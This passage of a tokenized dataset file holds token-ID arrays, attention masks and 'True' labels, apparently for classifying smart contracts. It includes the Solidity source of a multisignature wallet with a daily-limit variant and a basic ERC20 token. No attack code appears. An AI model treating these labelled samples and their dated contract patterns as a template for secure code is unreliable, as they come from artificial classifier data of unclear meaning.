2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="493a3d2c2f2827672e2c263b2e2c092a26273a2c273a303a67272c3d">[email protected]</span>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="770403121116195910121805101237141819041219040e0459191203">[email protected]</span>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2321,
1025,
1013,
1013,
1013,
1030,
2516,
4800,
5332,
16989,
11244,
15882,
1011,
4473,
3674,
4243,
2000,
5993,
2006,
11817,
2077,
7781,
1012,
1013,
1013,
1013,
1030,
3166,
8852,
2577,
1011,
1026,
1026,
8487,
2465,
1027,
1000,
1035,
1035,
12935,
1035,
10373,
1035,
1035,
1000,
2951,
1011,
12935,
14545,
4014,
1027,
1000,
4749,
2509,
2050,
29097,
2475,
2278,
2475,
2546,
22407,
22907,
2575,
2581,
2475,
2063,
2475,
2278,
23833,
2509,
2497,
2475,
2063,
2475,
2278,
2692,
2683,
2475,
2050,
23833,
22907,
2509,
2050,
2475,
2278,
22907,
2509,
2050,
14142,
2509,
2050,
2575,
2581,
22907,
2475,
2278,
29097,
1000,
1028,
1031,
10373,
1004,
1001,
8148,
1025,
5123,
1033,
1026,
1013,
8487,
1028,
1028,
3206,
4800,
5332,
2290,
9628,
3388,
1063,
1013,
1008,
1008,
2824,
1008,
1013,
2724,
13964,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
7065,
23909,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
12339,
1006,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
7781,
1006,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
7781,
7011,
4014,
5397,
1006,
21318,
3372,
25331,
12598,
3593,
1007,
1025,
2724,
12816,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
3954,
4215,
20562,
1006,
4769,
25331,
3954,
1007,
1025,
2724,
3954,
28578,
7103,
2140,
1006,
4769,
25331,
3954,
1007,
1025,
2724,
9095,
22305,
2063,
1006,
21318,
3372,
3223,
1007,
1025,
1013,
1008,
1008,
5377,
2015,
1008,
1013,
21318,
3372,
5377,
2270,
4098,
1035,
3954,
1035,
4175,
1027,
2753,
1025,
1013,
1008,
1008,
5527,
1008,
1013,
12375,
1006,
21318,
3372,
1027,
1028,
12598,
1007,
2270,
11817,
1025,
12375,
1006,
21318,
3372,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
1007,
2270,
13964,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2270,
11163,
7962,
2121,
1025,
4769,
1031,
1033,
2270,
5608,
1025,
21318,
3372,
2270,
3223,
1025,
21318,
3372,
2270,
12598,
3597,
16671,
1025,
2358,
6820,
6593,
12598,
1063,
4769,
7688,
1025,
21318,
3372,
3643,
1025,
27507,
2951,
1025,
22017,
2140,
6472,
1025,
1065,
1013,
1008,
1008,
16913,
28295,
1008,
1013,
16913,
18095,
2069,
9628,
3388,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
4769,
1006,
2023,
1007,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
3954,
3527,
2229,
22074,
9048,
3367,
1006,
4769,
3954,
1007,
1063,
5478,
1006,
999,
11163,
7962,
2121,
1031,
3954,
1033,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
3954,
10288,
5130,
1006,
4769,
3954,
1007,
1063,
5478,
1006,
11163,
7962,
2121,
1031,
3954,
1033,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
12598,
10288,
5130,
1006,
21318,
3372,
12598,
3593,
1007,
1063,
5478,
1006,
11817,
1031,
12598,
3593,
1033,
1012,
7688,
999,
1027,
1014,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
4484,
1006,
21318,
3372,
12598,
3593,
1010,
4769,
3954,
1007,
1063,
5478,
1006,
13964,
2015,
1031,
12598,
3593,
1033,
1031,
3954,
1033,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2025,
8663,
23141,
1006,
21318,
3372,
12598,
3593,
1010,
4769,
3954,
1007,
1063,
5478,
1006,
999,
13964,
2015,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract GamerGirlCrypto is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "GamerGirlCrypto";
symbol = "GGC";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2656,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
9413,
2278,
19204,
3115,
1001,
2322,
8278,
1013,
1013,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
19204,
12384,
2121,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
1065,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
3075,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
